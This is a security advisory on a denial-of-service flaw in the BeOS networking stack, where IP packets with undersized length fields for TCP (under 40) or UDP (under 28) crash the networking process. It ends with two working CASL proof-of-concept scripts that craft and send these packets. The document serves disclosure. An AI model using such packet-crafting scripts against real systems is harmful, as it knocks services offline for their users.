BeOS Networking DOS

[newsham () LAVA NET (Tim Newsham)]

Problem:
  It is possible to crash the BeOS networking process.

Discussion:
  The BeOS networking stack crashes when certain malformed packets
are sent to it.  This document explains two such packets.  The
first is an IP packet with the protocol field set to TCP.  If the
IP length field is set to be shorter than 40, it will crash the
networking process on reception.  Similarly, an IP packet with
protocol field set to UDP with an IP length of less than 28 also
crashes the stack.  The lengths 40 and 28 correspond with the
minimum sizes of the IP and TCP headers, and the IP and UDP headers
respectively.

  Because the networking stack is a seperate process in BeOS, it may
be easily restarted after it crashes.

  A bug report has been filed with Be and assigned the bug number of
20000405-18674.  Be has marked the bug as "Will Not Fix" with the
comment "The entire networking system will be replaced soon."

  This bug was found with the help of the ISIC utility by Mike Frantzen.

  Two CASL scripts which demonstrate the bug are listed below.

References:
  http://www.be.com/  - Be's website.  BeOS is available for download
      free of charge.

  http://bebugs.be.com/devbugs/  - Be's bug tracking database.

  http://expert.cc.purdue.edu/~frantzen/ - The homepage of the
      ISIC author.

  ftp://ftp.nai.com/pub/security/casl/ - NAI's packet scripting
      language CASL is available for download free of charge.

Script 1:
    #!/usr/local/casl/bin/casl

    #include "tcpip.casl"
    #include "packets.casl"
    #include "tcp.casl"

    srchost = 10.0.0.1;
    dsthost = 10.0.0.2;

    IPH = copy UDPIP;

    IPH.ip_hl = 5;
    IPH.ip_src = srchost;
    IPH.ip_dst = dsthost;
    IPH.ip_length = 27;

    packet = [ IPH ];
    ip_output(packet);

Script 2:
    #!/usr/local/casl/bin/casl

    #include "tcpip.casl"
    #include "packets.casl"
    #include "tcp.casl"

    srchost = 10.0.0.1;
    dsthost = 10.0.0.2;

    IPH = copy TCPIP;

    IPH.ip_hl = 5;
    IPH.ip_src = srchost;
    IPH.ip_dst = dsthost;
    IPH.ip_length = 39;

    packet = [ IPH ];
    ip_output(packet);